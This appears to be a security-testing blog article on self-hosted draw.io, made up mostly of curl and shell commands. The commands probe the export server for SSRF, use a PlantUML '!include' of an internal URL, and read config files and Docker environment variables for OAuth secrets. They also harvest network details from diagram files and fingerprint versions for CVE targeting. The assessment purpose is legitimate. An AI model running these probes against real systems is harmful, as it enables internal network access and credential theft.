Diagramming Security Testing

draw.io Security Testing: Default Credentials, API Key, Configuration, and Diagramming

📅 July 3, 2026 ⏱ 10 min read 🏷 draw.io, diagrams.net, Diagramming Security, Export Server SSRF, Diagram XML, Integration API Keys, PlantUML SSRF, Configuration Exposure

Export Server SSRF via SVG URL Fetching

# draw.io self-hosted — export server SSRF via SVG URL fetching
DRAWIO_URL="https://draw.example.com"

# The draw.io export server converts diagrams to PNG/PDF/SVG
# It fetches external URLs when processing SVG diagrams
# This enables SSRF against internal services

# Test export server endpoint
curl -s -o /dev/null -w "%{http_code}" "${DRAWIO_URL}/export3" 2>/dev/null
# 200 = export server accessible
# 404 = export server at different path or disabled

# SSRF via export — fetch internal service via SVG image reference
# The export server will fetch the URL embedded in the SVG
SSRF_PAYLOAD=''

# Submit SSRF payload to export endpoint
curl -s -X POST "${DRAWIO_URL}/export3" \
  -F "xml=${SSRF_PAYLOAD}" \
  -F "format=png" \
  -F "border=0" 2>/dev/null | xxd | head -5

# Alternative SSRF via embedded SVG image URL
SVG_SSRF=''
curl -s -X POST "${DRAWIO_URL}/export3" \
  -F "svg=${SVG_SSRF}" \
  -F "format=png" 2>/dev/null | xxd | head -3

# PlantUML server integration — another SSRF vector
# If draw.io is configured with a PlantUML server, the server processes text
PLANTUML_URL="http://localhost:8080"
# PlantUML can be abused to fetch internal URLs:
# @startuml
# !include http://internal-service/secret
# @enduml

Configuration File and Integration Key Exposure

# draw.io configuration file and integration key exposure
DRAWIO_URL="https://draw.example.com"

# /conf/drawio-config.json — instance configuration (may be accessible)
curl -s "${DRAWIO_URL}/conf/drawio-config.json" 2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    print(f'Config found!')
    # Check for OAuth credentials and API keys
    for key in ['googleClientId', 'msClientId', 'githubClientId',
                'dropboxAppKey', 'onedriveClientId', 'plantumlUrl']:
        if key in d:
            print(f'  {key}: {str(d[key])[:60]}')
except: print('Config not accessible or not JSON')
" 2>/dev/null

# Environment variables — Docker deployment
docker inspect draw-io 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        if any(k in e for k in ['DRAWIO_', 'GOOGLE_', 'GITHUB_', 'PLANTUML']):
            print(e)
" 2>/dev/null
# DRAWIO_BASE_URL — base URL configuration
# DRAWIO_EXPORT_URL — export server URL
# PLANTUML_URL — PlantUML server address

# Server-side configuration files
cat /etc/draw.io/drawio-config.json 2>/dev/null
cat /opt/drawio/drawio-config.json 2>/dev/null
# Contains OAuth client IDs and potentially secrets for:
# - Google Drive integration (googleClientId, googleClientSecret)
# - Microsoft OneDrive (msClientId)
# - GitHub integration (githubClientId, githubClientSecret)
# - Dropbox (dropboxAppKey)

# Check if draw.io reveals version information
curl -s "${DRAWIO_URL}" 2>/dev/null | grep -oP 'draw\.io [0-9.]+' | head -3
# Known vulnerable versions can be targeted for CVE exploitation

Diagram XML Sensitive Content Assessment

# draw.io diagram XML sensitive content assessment

# draw.io saves diagrams as XML files
# These often contain highly sensitive information:
# - Network topology and IP addresses
# - Security architecture (firewall rules, DMZ layouts)
# - Data flow diagrams (where PII is stored)
# - Authentication flow diagrams (SSO configurations)
# - Incident response playbooks
# - Cloud infrastructure maps (AWS VPC layouts, RDS configurations)

# Find diagram files in common storage locations
find /var/www /opt /srv /home -name "*.drawio" -o -name "*.xml" 2>/dev/null | \
  xargs grep -l "mxGraphModel\|mxCell" 2>/dev/null | head -20

# Extract text content from diagram XML (IP addresses, hostnames, labels)
find /var/www /opt -name "*.drawio" 2>/dev/null | head -5 | while read FILE; do
  echo "=== $FILE ==="
  python3 -c "
import xml.etree.ElementTree as ET, sys
try:
    tree = ET.parse('${FILE}')
    root = tree.getroot()
    # Extract all label/value attributes (text visible in diagrams)
    for elem in root.iter():
        value = elem.get('value','') or elem.get('label','')
        if value and len(value) > 2:
            print(f'  Label: {value[:100]}')
except Exception as e:
    print(f'  Error: {e}')
" 2>/dev/null
done

# Check if diagrams are stored in Git repositories (common practice)
# git log --all --find-copies --name-status | grep "\.drawio"

# Atlassian Confluence integration — diagrams stored in Confluence DB
# Jira integration — diagrams attached to Jira tickets

draw.io Security Hardening

Security Test	Method	Risk
Export server SSRF via SVG image URL fetching	POST /export3 with SVG containing image href to internal URL — export server fetches internal services; AWS metadata endpoint (169.254.169.254), internal APIs, Kubernetes service endpoints	High
drawio-config.json exposure with OAuth credentials	GET /conf/drawio-config.json — OAuth client IDs and secrets for Google Drive, OneDrive, GitHub, Dropbox integrations; allows impersonating the draw.io application to OAuth providers	High
PlantUML server SSRF via !include directive	POST PlantUML diagram with !include http://internal-service/ — PlantUML server fetches and includes internal URL content in diagram; lateral movement to internal services	High
Sensitive diagram XML content analysis	Read *.drawio XML files — extract network topology IP addresses, security architecture labels, authentication flow documentation, cloud infrastructure maps	High
Version disclosure and CVE targeting	GET / response — draw.io version string; cross-reference against known CVE database for version-specific vulnerabilities	Medium